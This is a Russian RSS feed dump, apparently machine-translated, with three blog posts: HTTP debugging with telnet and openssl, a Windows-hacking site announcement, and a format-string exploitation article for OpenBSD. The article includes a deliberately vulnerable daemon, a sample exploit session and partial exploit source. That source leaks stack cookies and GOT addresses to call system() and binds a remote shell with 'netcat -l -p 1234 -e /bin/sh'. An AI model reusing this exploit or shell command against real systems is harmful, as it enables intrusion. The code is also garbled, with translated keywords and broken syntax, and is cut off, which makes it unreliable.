<p> Это дает вам доступ к <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnRyYWMud2Via2l0Lm9yZyUyRndpa2klMkZXZWIlMjUyMEluc3BlY3Rvcg==&#038;hash=3fd59c54f6"> <em> Веб-инспектор </em> </a>, который показывает <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">HTTP</a> заголовки в разделе <em> Сеть </em>. К сожалению, как представляется, только в заголовках, исключив все остальное. (Safari пользователей, есть варианты лучше ?)</p>
<div>
<p> Если вы используете Safari 3, заменить <code> IncludeDebugMenu </code> с <code> IncludeDevelopMenu </code>. Вы будете знать, что позволило, когда вы видите <em> Разработка </em> меню. </p>
</p></div>
<p> Иногда бывает полезно внести незначительные изменения в запрос, и попробуйте еще раз, чтобы увидеть, если он устраняет проблему . Многие <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">HTTP</a> инструменты позволяют вам делать это, и <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnRhbXBlcmRhdGEubW96ZGV2Lm9yZw==&#038;hash=ee6c85977c"> tamperdata </a> для Firefox является особенно полезным. </p>
<p> Несмотря на многочисленные средства, я не считаю себя, используя <code> Telnet </code> достаточно регулярно, частично потому что я хотел бы свести к минимуму риск того, что этот инструмент я использую дает мне ложную информацию, будь то в связи с ошибкой в инструмент или просто ошибка в моей интерпретации и использования. </p>
<p> Если у вас ' меня никогда не используется <code> Telnet </code> для передачи запросов на веб-сервере, вы можете быть удивлены тем, насколько легко это: </p>
<ol>
<li> <code> $ Telnet google.com 80 </code> ( #) </li>
</ol>
<p> После того, как подключен, можно ввести простой GET запрос на попробовать его:
</p>
<ol>
<li> GET / <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">HTTP</a>/1.1 <code> </code> </li>
<p> ( #) хоста: google.com
<li> <code> </code> </li>
</ol>
<p> Поскольку Google предпочитает излишней
<div> WWW
<p> субдомену, Вы получите <code> 301 </code> ответ. Если вы хотите следить за переадресацию как браузер будет просто изменить <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy53My5vcmclMkZQcm90b2NvbHMlMkZyZmMyNjE2JTJGcmZjMjYxNi1zZWMxMC5odG1sJTIzc2VjMTAuMy4y&#038;hash=5d4f2c010d"> Host </a> заголовок в вашей просьбе, и вы получите <code> 200 </code> ответ, который включает в себя содержание. <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy53My5vcmclMkZQcm90b2NvbHMlMkZyZmMyNjE2JTJGcmZjMjYxNi1zZWMxMC5odG1sJTIzc2VjMTAuMi4x&#038;hash=133b501357"> (# ) </a> Если отладка защищенного URL, </p>
<p> Telnet </p></div>
<p> не поможет вам. К счастью,
<p> OpenSSL <code> предоставляет аналогичные простоты: </code> <code> </code> </p>
<p> OpenSSL s_client-CONNECT google.com: 443
<ol>
<li> <code> </code> </li>
<p> Вы может предпочесть </ol>
<p> скрытый
<div>, если вы не находите
<p> s_client <code> вывода полезной. </code> <code> </code> Вы можете использовать один и тот же запрос, как и раньше, чтобы они опробовали ее, или вы можете копировать реальный запрос ваш браузер посылает с помощью одного из инспекторов, как <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">HTTP</a> LiveHTTPHeaders. </p>
</p></div>
<p>linuxexposed.com</p>
]]></content:encoded>
			<wfw:commentRss>http://fvsd.ru/2009/06/20/proverka-http/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Хакинг Windows и Windows Security сайта</title>
		<link>http://fvsd.ru/2009/06/20/xaking-windows-i-windows-security-sajta/</link>
		<comments>http://fvsd.ru/2009/06/20/xaking-windows-i-windows-security-sajta/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 00:26:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Експлоиты]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[сайта]]></category>
		<category><![CDATA[Хакинг]]></category>

		<guid isPermaLink="false">http://fvsd.ru/2009/06/20/xaking-windows-i-windows-security-sajta/</guid>
		<description><![CDATA[ В течение нескольких месяцев мы откроем новый сайт: работающие под Windows доступна на http://www.windowsexposed.com Эта новая Хакинг и безопасность сайт поможет Вам понять, методы взлома и многочисленных подвигах о том, как они работают в мучительную подробно.  Мы покажем вам все, что вам нужно знать о хакерстве и безопасности для всех основных версий Windows: [...]]]></description>
			<content:encoded><![CDATA[<p> В течение нескольких месяцев мы откроем новый сайт: работающие под <a href="http://fvsd.ru/tag/windows/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Windows">Windows</a> доступна на <a href="http://fvsd.ru/tag/http/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  HTTP">http</a>://www.windowsexposed.com Эта новая Хакинг и безопасность сайт поможет Вам понять, методы взлома и многочисленных подвигах о том, как они работают в мучительную подробно. <span id="more-7"></span> Мы покажем вам все, что вам нужно знать о хакерстве и безопасности для всех основных версий <a href="http://fvsd.ru/tag/windows/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Windows">Windows</a>: </p>
<p> Хакинг XP, Хакинг VISTA, Хакинг <a href="http://fvsd.ru/tag/windows/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Windows">Windows</a> 2007, <a href="http://fvsd.ru/tag/windows/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Windows">Windows</a> Хакинг Хакинг 2003 и <a href="http://fvsd.ru/tag/windows/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  Windows">Windows</a> 2008 </p>
<p> Оставайтесь с нами !!  </p>
<p> <!--GoogleAd -->
<div align='center'> <!-- end of google ads --> </div>
<p>linuxexposed.com</p>
]]></content:encoded>
			<wfw:commentRss>http://fvsd.ru/2009/06/20/xaking-windows-i-windows-security-sajta/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Formatstrings и OpenBSD</title>
		<link>http://fvsd.ru/2009/06/20/formatstrings-i-openbsd/</link>
		<comments>http://fvsd.ru/2009/06/20/formatstrings-i-openbsd/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 21:46:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux Експлоиты]]></category>
		<category><![CDATA[Formatstrings]]></category>
		<category><![CDATA[OpenBSD]]></category>

		<guid isPermaLink="false">http://fvsd.ru/2009/06/20/formatstrings-i-openbsd/</guid>
		<description><![CDATA[    В последние годы много внимания на так называемые анти-использовать методы строятся на операционных системах. Эти технологии приходят в широкий спектр функциональности, но все с той же целью, чтобы сделать процесс написания функциональных  подвиги труднее, если не невозможным. Общая идея заключается в том, что вы никогда не сможете писать 100% bugfree [...]]]></description>
			<content:encoded><![CDATA[<p><font face="arial,helvetica" size="-1"> <span> </span> <span> В последние годы много внимания на так называемые анти-использовать методы строятся на операционных системах. Эти технологии приходят в широкий спектр функциональности, но все с той же целью, чтобы сделать процесс написания функциональных <span id="more-14"></span> подвиги труднее, если не невозможным. Общая идея заключается в том, что вы никогда не сможете писать 100% bugfree код поэтому вы должны сделать в процессе эксплуатации этих ошибок сложнее. Одна из операционных систем, который был одним из первых включить некоторые из этих методов, и, вероятно, также приняли это является наиболее <a href="http://fvsd.ru/tag/openbsd/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  OpenBSD">OpenBSD</a>. <br /> </span> </font> <!--GoogleAd -->
<div> <!-- end of google ads --> </div>
<p> <font face="arial,helvetica" size="-1"> <span> <a href="http://fvsd.ru/tag/openbsd/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  OpenBSD">OpenBSD</a> использует широкий спектр мер, призванных укрепить систему от традиционных подвиги, некоторые из которых являются : </p>
<p> &#8211; Propolice / SSP, это stackcookie реализации, то главное заключается в том, чтобы защитить от линейного-переполнения стека. </p>
<p> &#8211; W ^ X, это <a href="http://fvsd.ru/tag/openbsd/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  OpenBSD">OpenBSD</a> пути решения неприсоединения EXEC стека проблема, хотя она идет гораздо дальше. Как вы могли догадаться из названия, это гарантирует, что ни один из памяти страницы отображаются как записи и исполняемым это делает работает шеллкод очень сложно. </p>
<p> &#8211; Stackgap, это randomazation из штабеля базовый адрес, это значит, что угадать адрес нашего данных / шеллкод /, что становится гораздо труднее. </p>
<p> &#8211; ASLR / Рандомизированные отображение библиотек, это защищает от классического вернуться к libc техники </p>
<p> В этой статье я покажу вам теоретический сценарий, когда такие меры могут быть сорвано , сценарии, которые изложены, пожалуй, не очень вероятно, существовать в realworld применения (хотя и не полностью неслыханной [1]), и эту статью следует рассматривать скорее как пищу для размышлений на тему обойти анти-использовать методы, чем практически применимые техники. <br /> Эти методы предназначены для 32-битных Intel совместимых систем. </p>
<p> Основными предпосылками для этого метода работы является formatstring ошибке, что позволяет нам идти на выходе, и демон-подобные программы. Второй момент, необходимо, поскольку мы используем ошибка несколько раз, чтобы использовать программы, и нам нужна программа для продолжения работы между этими вызовами. <br /> Это означает, сеть демона в нашем случае, хотя он должен работать в местных сценарий с системой процесса, а, возможно, процесс с formatstring ошибка в функции регистрации и файл_журнала вы читали доступ. </p>
<p> Как вы увидите далее, мы сделали это чуть проще для наших selfs в этом примере, который добавляет несколько предпосылок. Я использовал sprintf как уязвимой функции вместо snprintf, так что в дополнение к formatstring ошибка там же буфера, и мы предполагаем, что GNU netcat установлен в системе. Поэтому без дальнейших церемоний, вот наши уязвимые ок, как и любой пример, это как бесполезно, как он немой. </p>
<pre> INT myexit <span> (</span> * Текст символ <span>) </span> <span> (</span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> <span> printf </span> </a> (# ) (<span> </span> "% S <span>  N <span>" </span>, текст </span>) <span> </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGZXhpdA==&#038;hash=856e779b65"> выход <span> </span> </a> ( <span> </span> -1 <span> </span>) <span> </span>) <span> INT основной </span> (<span> INT argc, символ * argv </span> [<span> (# )] </span> <span>) </span> <span> (</span> sendbuf символ <span> [</span> BUFFSIZE <span>] </span>; recvbuf символ <span> [</span> BUFFSIZE <span> ] </span>; структуры sockaddr_in адрес; структуры sockaddr клиента; INT addrlen = <span> </span> sizeof <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc2l6ZW9m&#038;hash=07564ead64"> <span> </span> (</a> клиент <span>) </span>; mysocket INT, S, Res; memset <span> (</span> И клиент, <span> 0 </span>, <span> </span> sizeof <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc2l6ZW9m&#038;hash=07564ead64"> <span> </span> (</a> клиент <span>) </span> (# )) <span>; memset </span> (<span> </span> (<span> символ * </span>) <span> И адрес, </span> 0 <span>, </span> <span> sizeof </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc2l6ZW9m&#038;hash=07564ead64"> <span> (</span> адрес </a>) <span> </span>) <span>; mysocket = розетка </span> (<span> AF_INET, SOCK_STREAM, </span> 0 <span> </span> ) <span> </span>, если <span> </span> (<span>! mysocket </span>) <span> myexit </span> (<span> </span> "Не по сокет" <span> </span> ) <span>; address.sin_family = AF_INET; address.sin_addr.s_addr = INADDR_ANY; address.sin_port = htons </span> (<span> </span> 15001 <span> </span>) <span> </span>, если <span> </span> (<span> </span> 0 <span>! = связывания </span> (<span> mysocket, </span> (<span> структуры sockaddr * </span>) <span> И адрес, (# ) </span> sizeof <span> </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc2l6ZW9m&#038;hash=07564ead64"> (<span> адрес </span>) </a> <span>) </span> <span>) </span> myexit <span> (</span> (# ) "Не по связывать" <span> </span>) <span> </span>, если <span> </span> (<span> слушайте </span> (<span> mysocket, MAXCONNECTIONS </span>) <span>! = </span> +0 <span> </span>) <span> myexit </span> (<span> </span> "Не по слушать" <span> </span>) <span>; </span> <span> printf ( #) </span> <span> (</span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> "Слушать на Socket <span>  N </span>" </a> <span>) </span>; S = согласиться <span> (<span> mysocket , </span> (</span> структуры sockaddr * <span>) </span> И клиент, И addrlen <span>) </span> <span>, если </span> <span> (</span> == S <span> -- 1 </span> <span>) </span> myexit <span> (</span> <span> "Не согласиться на" </span> <span>) </span> <span>, а </span> <span> (( #) </span> 0 <span>! = Recv </span> (<span> S, recvbuf, BUFFSIZE, </span> 0 <span> </span>) <span> </span>) <span> </span> ( <span> </span> <span> sprintf </span> <span> </span> (<span> sendbuf, recvbuf </span>) <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3ByaW50Zg==&#038;hash=f3b2a4e1f9"> <span>, если </span> </a> (<span> отправить ( #) (</span> S, sendbuf, BUFFSIZE, <span> 0 </span> <span>) </span> == <span> -1 </span> <span>) </span> <span> (</span> myexit <span> (</span> <span> "Не отправлять данные </span>  N <span>" </span> <span>) </span> <span>) </span> <span>) (# ) у <span> (</span> S </span>) <span>; закрыть </span> (<span> mysocket </span>) <span> </span> возвращение <span> </span>) <span> </span> Основная идея здесь заключается в том, что мы используем formatstring прочитать информацию о том, что нам нужно знать, чтобы построить успешную эксплуатацию. Нам нужно несколько вещей, как вы увидите в эксплуатацию себя. Для того, чтобы не сделать этот документ слишком длинный, я сделал много из разъяснения в виде комментариев рядом с кодом сам. <span> Мы в первую очередь необходимо выяснить несколько компенсирует эти смещения используются в formatstring параметру $ прочитать слово на стеке. Мы потом использовать смещения мы собрались для того, чтобы читать, в порядке, stackcookie и хранить framepointer. Когда мы имеем stackcookie можно переполнения буфера при этом оказались в ProPolice, а с сохраненной framepointer, мы можем получить представление о том, где на стеке нашего буфера существует. </span> <span> Сейчас мы должны знать, где мы хотим, чтобы отвлечь исполнение, здесь мы хотим, чтобы система вызова (), libc отображается на случайных местоположение, чтобы мы не знаем, где можно прыгать, однако Глобальной Офсетные Таблица содержит адреса отображается функций. Проблема заключается в том, что наши уязвимые программы не используют системы (), поэтому его адрес обыкновение быть решены нашу программу, и, следовательно, не будут существовать в GOT. </span> Однако мы знаем, что printf () используется, и поэтому существует в GOT с отладкой мы знаем, что на третьей позиции. И мы можем вычислить смещение между printf () и системы (), эта величина, конечно, могут переключиться между системами, но <a href="http://fvsd.ru/tag/openbsd/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  OpenBSD">OpenBSD</a> очень стабильная ОС, поэтому достаточно стабильным. Поэтому мы используем formatstring-ошибке следующего третьего GOT въезда, а затем мы вычислить адрес системы (), и, хотя мы на это мы вычислить адрес для выезда (), а, только для того, чтобы дать нашим эксплуатировать приятный чистый выход. <span> </span> Сейчас у нас всю информацию, что мы должны построить использовать строку. Он будет выглядеть следующим образом: <span> </span> </pre>
<p> | <br /> &#8220;% .1024 U&#8221; <br /> | stackcookie | блокнот | </p>
<p> система </p>
<p> ( <br /> 
<pre>) <span> | </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3lzdGVt&#038;hash=d9042a8048"> выход <span> </span> </a> (<span> </span>) <span> | адрес команды | </span> недействительными <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGZXhpdA==&#038;hash=856e779b65"> | <span> / / / Команда | нулевой | </span> </a> <span> Если команда командной строки мы хотим послать системе (). Потому что мы точно не знаем адрес нашей строки, мы будем использовать несколько '/' в качестве одной из форм NOP-салазкам. </span> Поскольку мы смогли направить нулевых байтов мы могли бы также создать два Ницца нуль-строки, оканчивающиеся один с нашим переполнения данных, одна из наших команд должен быть казнен. При этом вместо tacking нашей команды в конце первой строки мы гарантируем, что мы не пишем слишком далеко в стеке, где мы могли бы хит-то важное, как, например, $ SHELL переменные среды. <span> </span> А теперь пример сессии: <span> </span> <span> @ chris_fs Kubuntu: $ uname-SR Linux </span> 2.6 </pre>
<p> .17 </p>
<p> &#8212; 12 <br />-общий chris_fs @ Kubuntu: $. / эксплуатации <br /> 192,168 <br /> 
<pre> .0 <span> </span> .88 <span> Наиденно цели по смещению буфера: </span> 20 <span> , поиск </span> на <span> в отставке ... Найдено по смещению: </span> 539 <span> Ret: 0x1c0006c0, Frame: 0xcfbdc1bc, Cookie: 0x7e4d3594 Адрес </span> <span> printf </span> <span> </span> (<span> </span>) (# ): 0xa385514, <span> </span> система <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> <span> </span> (</a> <span>) </span>: 0xa377570, <span> </span> выход <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3lzdGVt&#038;hash=d9042a8048"> <span> </span> (</a> <span>) </span>: 0xa3a788c chris_fs @ Kubuntu: $ netcat <span> 192,168 </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGZXhpdA==&#038;hash=856e779b65"> .0 <span> </span> .88 </a> <span> 1234 </span> uname <a href="http://fvsd.ru/tag/openbsd/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  OpenBSD">OpenBSD</a>-SR <span> 4.2 </span> <span> </span> выход <span> </span> @ chris_fs Kubuntu :$<span> А вот код: </span> <span> </span> # включить "система / types.h "<span> </span> # включить" систем / socket.h "<a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGZXhpdA==&#038;hash=856e779b65"> <span> # включить" netinet / in.h "</span> </a> # включить" stdlib.h "</pre>
<p> # включить &#8220;stdio.h&#8221;
<pre> <span> # включить "string.h" </span> <span> # определить BUFFSIZE 1024 </span> <span> # определить MAXSPLITS 100 </span> <span> # определить GOTADDR 0x3c002148 </span> <span> / / <a href="http://fvsd.ru/tag/openbsd/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  OpenBSD">OpenBSD</a> 3.9 </span> <span> / / # определить SYSTEMOFFSETFROMPRINTF 57076 </span> <span> / / # определить EXITOFFSETFROMPRINTF -150100 </span> <span> / / <a href="http://fvsd.ru/tag/openbsd/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  OpenBSD">OpenBSD</a> 4.2 (# ) </span> # определить SYSTEMOFFSETFROMPRINTF 57252 <span> </span> # определить EXITOFFSETFROMPRINTF -140152 <span> символ * расщепляется </span> [<span> MAXSPLITS </span>] <span>; символ команды </span> [<span> </span>] <span> = </span> "/ USR / местное / BIN / netcat-L-P 1234-е / бен / ш" <span>; INT myexit </span> (<span> * символов текста (# )) </span> <span> (</span> <span> </span> printf <span> </span> <span> (</span> <span> "% S </span>  N <span>" </span> , текст <span>) </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> <span> выход </span> </a> <span> (</span> <span> -1 <span> </span>) </span> <span>) </span> длинная readhex <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGZXhpdA==&#038;hash=856e779b65"> (<span> * ул символ </span>) </a> <span> (</span> неподписанными длительную кадра = <span> 0 </span>; символ hexaddr <span> [(# ) </span> 11 <span> </span>] <span> = </span> "0x" <span>; strncpy </span> (<span> hexaddr </span> 2 <span>, ул, </span> 8 <span> </span>) <span>; кадра = strtoul </span> (<span> hexaddr, </span> 0 <span>, </span> 16 <span> </span>) <span> </span> вернуться <span> </span> (<span> длинная </span>) <span> рамка </span>) <span> недействительными writeaddress </span> (<span> символ * буфер, беззнаковое INT адрес </span>) <span> </span> (<span> INT I; </span> на <span> </span> (<span> I = </span> 0 <span>; I <</span> 4 <span>, я ++</span>) ( #) буфера <span> [</span> и <span>] </span> = <span> (</span> символ <span>) </span> <span> (</span> адрес >><span> ((# ) я * </span> 8 <span> </span>) <span> </span>) <span> И 0x000000ff; </span>) <span> недействительными sendrecv </span> (<span> символ * буфер, INT носок, INT LEN </span>) <span> </span> (<span> INT байт = </span> (<span> == Len </span> 0 <span> </span>) <span>? </span> <span> Strlen </span> <span> </span> (<span> буфера </span>) <span>: Len </span>, если <span> </span> (<span> </span> (( #) байт = отправить <span> (</span> носок, буфер, байт, <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3RybGVu&#038;hash=c703cbc5ae"> 0 <span> </span>) </a> <span>) </span> == <span> -1 </span> ( #)) <span> myexit </span> (<span> </span> "Ошибка при отправке ()<span>  N </span>" <span> </span>) <span>; байт = </span> 0 ( #); memset <span> (</span> буфера, <span> 0 </span>, BUFFSIZE <span>) </span> <span>, если </span> <span> (</span> <span> ((# ) байт = Recv <span> (</span> носок, буфер, BUFFSIZE, </span> 0 <span> </span>) <span> </span>) <span> == </span> -1 <span> (# )) </span> myexit <span> (</span> <span> "Ошибка на Recv ()</span>  N <span>" </span> <span>) </span> <span>) </span> недействительным <span> </span> сплит <span> </span> <span> (</span> * буфер символ, символ ** расщепляется <span>) </span> <span> (</span> символ * P = <span> 0 </span>; INT I = <span> 0 <span>; memset </span> (</span> распадается, <span> 0 </span>, MAXSPLITS * <span> 4 </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3BsaXQ=&#038;hash=a5baa81936">) <span>; P = </span> (</a> символ * <span>) </span> <span> </span> strtok <span> </span> <span> (</span> буфера, <span> "" </span> (# )) <span> </span>, а <span> </span> (<span> П И И </span> (<span> I <</span> (<span> MAXSPLITS </span> -1 <span> </span> ) <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3RydG9r&#038;hash=5d2a9ab7e0"> <span>) </span> </a>) <span> </span> (<span> расщепляется </span> [<span> Я ++</span>] <span> = P, P = </span> ( <span> символ * </span>) <span> </span> <span> strtok </span> <span> </span> (<span> </span> 0 <span>, </span> "" <span> (# )) </span> <span>) </span> <span>) </span> INT поиска <span> (</span> INT запуска, INT <span> </span> Макс <span> </span>, символ * колодки , Const символ * матче, INT носок <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3RydG9r&#038;hash=5d2a9ab7e0">) <span> </span> (</a> INT I; символа буфера <span> [</span> BUFFSIZE <span>] </span> <span> на </span> <span> (</span> I = начало; I <<span> </span> Макс <span> </span>, я ++<span>) </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGbWF4&#038;hash=d3c3b8f1e1"> (<span> snprintf </span> (</a> буфером, BUFFSIZE, <span> "% S%%% I $ X" </span>, колодки, я <span>) </span>; sendrecv <span> (</span> буфера, носок, <span> 0 (# ) </span>) <span> </span>, если <span> </span> (<a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGbWF4&#038;hash=d3c3b8f1e1"> <span> </span> strncmp </a> <span> </span> (<span> буфера, матч, </span> <span> strlen </span> <span> </span> (<span> матч </span>) <span> </span>) <span> == </span> 0 <span> </span>) <span> (# ) возвращение </span> и <span>) </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3RybmNtcA==&#038;hash=21fc8d3703"> возвращение <span> </span> -1 </a> <span>) </span> INT основной <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3RybGVu&#038;hash=c703cbc5ae"> (<span> INT argc, символ * argv </span> [</a> <span>] </span> <span>) </span> <span> (</span> INT mysocket = <span> 0 </span>, Res = <span> 0 </span> , I = <span> 0 </span>, cookieoffset = <span> 0 </span>, колодки = <span> 0 </span>; INT targetbufferoffset = <span> 0 </span>, retoffset = <span> 0 (# ), в отставке = </span> 0 <span>; INT J = </span> 0 <span>; неподписанными INT * bufferptr = </span> 0 <span>; неподписанными INT маркеры = </span> 0 <span>, кадр = </span> 0 <span>, </span> <span> кол </span> <span> = </span> 0 <span>; неподписанными INT exitaddr = </span> 0 <span>, systemaddr = </span> 0 (# ); структуры sockaddr_in адрес; символ буфера <span> [</span> BUFFSIZE <span>] </span> <span>, если </span> <span> (</span> argc! = <span> 2 </span> (# )) <span> myexit </span> (<span> </span> "Использование:. / эксплуатировать целевой IP <span>  N </span>" <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGY291bnQ=&#038;hash=af27f3034e"> <span>) </span> </a>, если ( #) <span> (</span>! <span> (</span> = mysocket розетка <span> (</span> AF_INET, SOCK_STREAM, <span> 0 </span> <span>) </span> <span>) ( #) </span>) <span> myexit </span> (<span> </span> "Не удалось создать сокет <span>  N </span>" <span> </span>) <span>; memset <span> (</span> </span> (<span> символ * </span>) <span> И адрес, </span> 0 <span>, </span> <span> sizeof </span> <span> </span> (<span> Адрес </span>) <span> </span>) <span>; address.sin_family = AF_INET; address.sin_port = htons </span> (<span> </span> 15001 <span> </span>) <span>; адрес . sin_addr.s_addr = inet_addr <span> (</span> argv </span> [<span> </span> 1 <span> </span>] <span> </span>) <span>; Res = соединение </span> ( <span> mysocket, </span> (<a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc2l6ZW9m&#038;hash=07564ead64"> структуры sockaddr * <span>) </span> И адрес, </a> <span> sizeof </span> <span> </span> (<span> адрес </span>) ( #) <span>) </span> <span>, если </span> <span> (</span> Рез! = <span> 0 </span> <span>) </span> myexit <span> (</span> ( #) "Невозможно подключиться <span>  N </span>" <span> </span>) <span> </span> / / По prepending ABAB в нашем поиске и сравнении ABAB424142414241 <span> </span> / / мы имеем возможность для поиска начать наш буфер. Мы знаем <span> </span> / / смещение к использованию, если привязки данных, на наш буфер в дальнейшем зондов <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc2l6ZW9m&#038;hash=07564ead64"> I = Search <span> (</span> </a> 1 <span>, </span> 300 <span>, </span> "ABAB" <span>, </span> "ABAB42414241" <span>, mysocket </span>) <span>; targetbufferoffset = I </span>, если <span> </span> ((# ) targetbufferoffset <<span> 0 </span> <span>) </span> myexit <span> (<span> </span> "Не удалось обнаружить targetbuffer компенсированы </span>  N <span>" </span> <span> ) </span> <span> </span> printf <span> </span> <span> (</span> <span> "Найдено цели по смещению буфера:% I, ищет в отставке ..."</span>, я <span>) </span>; memset <span> (</span> буфера, <span> 0 </span>, BUFFSIZE <span>) </span> <span> / / хорошо сейчас мы нуждаемся в stackcookie, мы находим его Сразу после нашего буфера 2 </span> <span> / / 2048 байт = 512 слов, и мы также прочитать хранящиеся framepointer </span> <span> / / мы кричим на маркеры и следующие 39 байта от стека </span> cookieoffset = targetbufferoffset + <span> 512 </span> <span> на </span> <span> (<span> I = </span> 0 </span>; I <<span> 40 </span>, я ++<a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGcHJpbnRm&#038;hash=c0f9003762"> ) <span> </span> (</a> Res + = <span> </span> sprintf <span> </span> <span> (</span> + буфер Рез, <span> "%%% I $ X" ( #), cookieoffset + I </span>) <span> </span>) <span> sendrecv </span> (<span> буфера, mysocket, </span> 0 <span> </span>) <span> (# ) </span> сплит <span> </span> <span> (</span> буфер, разделил <span>) </span>; маркеры readhex = <span> (</span> расщепляется <span> [</span> <span> 0 </span> <span>] </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3ByaW50Zg==&#038;hash=f3b2a4e1f9">) <span> </span> / / Теперь мы пытаемся найти наш адрес возврата мы рассчитываем на то, перспективных </a> <span> / / как обратный адрес, и если слово, прежде чем оно выглядит как </span> <span> / / framepointer, мы надеемся, право </span> <span> на </span> <span> (</span> I = <span> 0 </span> ; I <<span> 40 </span>, я ++<span>) </span> <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3BsaXQ=&#038;hash=a5baa81936"> (<span> </span>, если </a> <span> (</span> <span> (</span> <span> </span> strncmp <span> </span> <span> (</span> расщепляется <span> [</span> и <span>] </span>, <span> "МВ" </span>, <span> 2 (# ) </span>) <span> == </span> 0 <span> </span>) <span> И И </span> (<span> </span> <span> strncmp </span> <span> </span> (( #) расщепляется <span> [</span> I <span> 1 </span> <span>] </span>, <span> "1c00" </span>, <a href="http://fvsd.ru/wp-go.php?url=aHR0cCUzQSUyRiUyRnd3dy5waHAubmV0JTJGc3RybmNtcA==&#038;hash=21fc8d3703"> 4 <span> </span>) (# ) == </a> 0 <span> </span>) <span> </span>) <span> </span> брейк <span> </span>) <span> </span>, если <span> </span> ( <span> I == </span> 40 <span> </span>) <span> myexit </span> (<a 